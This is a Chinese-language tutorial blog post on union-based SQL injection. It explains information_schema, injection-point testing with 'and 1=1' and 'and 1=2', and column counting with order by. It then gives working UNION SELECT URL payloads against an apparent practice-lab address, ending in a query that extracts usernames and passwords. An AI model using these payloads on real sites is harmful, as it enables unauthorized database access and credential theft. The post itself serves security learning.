首页 > 数据库 >SQL注入之简要SQL注入

SQL注入之简要SQL注入

时间:2023-01-02 17:12:54浏览次数:53  
标签:简要 name 数据库 SQL table 注入 id schema

SQL注入安全测试中的危害:

危害数据库里的数据(因为可以直接写入);直接危害到网站的权限。

SQL注入产生原理详细分析:

l  通过sqlilabs代码分析;

l  SQL语句在定义时没有变量,就不能进行SQL注入;

l  可控变量,带入数据库查询,变量为存在过滤或过滤不严谨。

必要知识点:

l  在MYSQL5.0以上版本中,MYSQL存在一个自带数据库名为information-schema,它是一个存储记录有所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取数据库下面的表名或者列名信息。

l  数据库中符号“.”代表下一级,如xiaodi,user表示xiaodi数据库下的user表名。

Union查询时的关键字:

Information_schema.tables:记录所有表名信息的表;

informarion_schema.columns:记录所有列明信息的表;

table_name:表名;

column_name:列名;

table_schema:数据库名。

如何判断注入点:

  1. 老办法:

and 1=1页面正常

and 1=2页面错误

可能存在注入点

Select * from users where id=1 and 1=1 limit 0,1 正常

Select * from users where id=1 and 1=2 limit 0,1 错误

判断原理:利用逻辑运算符(and):

真且真=真;真且假=假;1=1 真;1=2 假

不能用or,因为真或真=真,真或假=真,不论怎样输入都为真,则无法判断注入点。

  1. SELECT * FROM users WHERE id=1asdsadsad(随便输入) LIMIT 0,1

随便输入后对网页有影响说明带入数据库进行查询有注入点,没有影响说明没有带入数据库查询,出现404错误说明对输入检测没有漏洞。

语句:

  1. 猜解列明数量(字段数)

order by x(数字) x从1递加,直至页面显示错误为止,错误数-1则为此字段数。

  1. 报错猜解准备
  2. 信息收集

用select判断回显位置:

http://219.153.49.228:43230/new_list.php?id=1 union select 1,2,3,4

  1. 信息收集

替换掉回显数字的位置,就能查询到想要的数据

数据库版本:version()

数据库名字:database()

数据库用户:user()

操作系统:@@version_complie_os

  1. 查询指定数据库名mozhe_Discuz_StormGroup下的表名信息:

http://219.153.49.228:43230/new_list.php?id=-1 union select 1,table_name,3,4from information_schema.tables where table_schema=’mozhe_Discuz_StormGroup’

  1. 查询所有:

http://219.153.49.228:43230/new_list.php?id=-1union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

  1. 查询指定表名StormGroup_member下的列明信息:

http://219.153.49.228:43230/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'

  1. 查询指定数据:

http://219.153.49.228:43230/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member


 

标签:简要,name,数据库,SQL,table,注入,id,schema
From: https://www.cnblogs.com/cx330ki/p/17020179.html

相关文章

  • SQL注入之MYSQL注入
    前言:MYSQL注入中首先要明确当前注入点权限,高权限注入时有更多的攻击手法,有的能直接进行geshell操作。其中也会遇到很多阻碍,相关的防御反感也要明确。高权限注入及低权限......
  • SQL注入类型及提交注入
    前言:在真实SQL注入安全测试中,我们一定要先明确提交数据及提交方法后再进行注入,其中提交数据类型和提交方法可以通过抓包分析获取,后续安全测试中也必须满足同等的操作才能......
  • MySql学习笔记--基础篇02
    约束外键--父表和子表,如果要删除父表的记录时,会判断子表是否存在关联关系,如果存在不予删除  多表关系一对多,在此表中建立外键关联主表的主键多对多,建立第三张中......
  • (转)主从复制报错Fatal error:The slave I/O thread stops because master and slave ha
    最后发现/var/lib/mysql/auto.cnf还有一个auto.cnf文件,我们直接执行rm-rf/var/lib/mysql/auto.cnf命令删除主机和从机中的这个auto.cnf文件就可以,当然也可以选择修改里面......
  • 注入——APC注入
    APC注入即异步过程调用,APC是一个链状的数据结构,可以让一个线程在其原本的执行步骤前执行其他代码,每个线程都维护一个APC链。当线程从等待状态苏醒后,自动检测自己的APC队列......
  • SQL Server创建dblink跨库查询
    dblink是跨库查询的主要手段,在Oracle创建DbLink中已经演示了Oracle中如何创建及使用DbLink,这篇博客看看SQLServer中如何使用。一、通过图形化界面直接创建选择当前注册......
  • MySQL-MVCC
    首先MVCC不是MySQL才有的概念,它是一种思想,一种方法论。MVCC全称:Multi-VersionConcurrencyControl多版本并发控制最早于1978年,论文『NamingandSynchronizationina......
  • Mysql常见注意事项小记
    Mysql常见注意事项小记1.排序问题正常如果按照某字段升序排列,空值会排到有值的前面;如果逆序排序空值排在最后。有时候我们需要该字段为空的行数据要排到最......
  • MySQL——基础架构
    1、MySQL逻辑架构图  2、整体解析大体上MySQL可以分为Server层和存储引擎层两部分。Server层包括连接器、查询缓存、分析器、优化器、执行器等,涵盖MySQL的大......
  • MySQL大量数据入库的性能比较
    单位IM改版了用户聊天内容要存放在数据库.一般JAVAInsertMySQL有如下几种方式1.自动提交Insert2.事务提交Insert3.批量提交4.使用LoadFile接口createtablechat_message......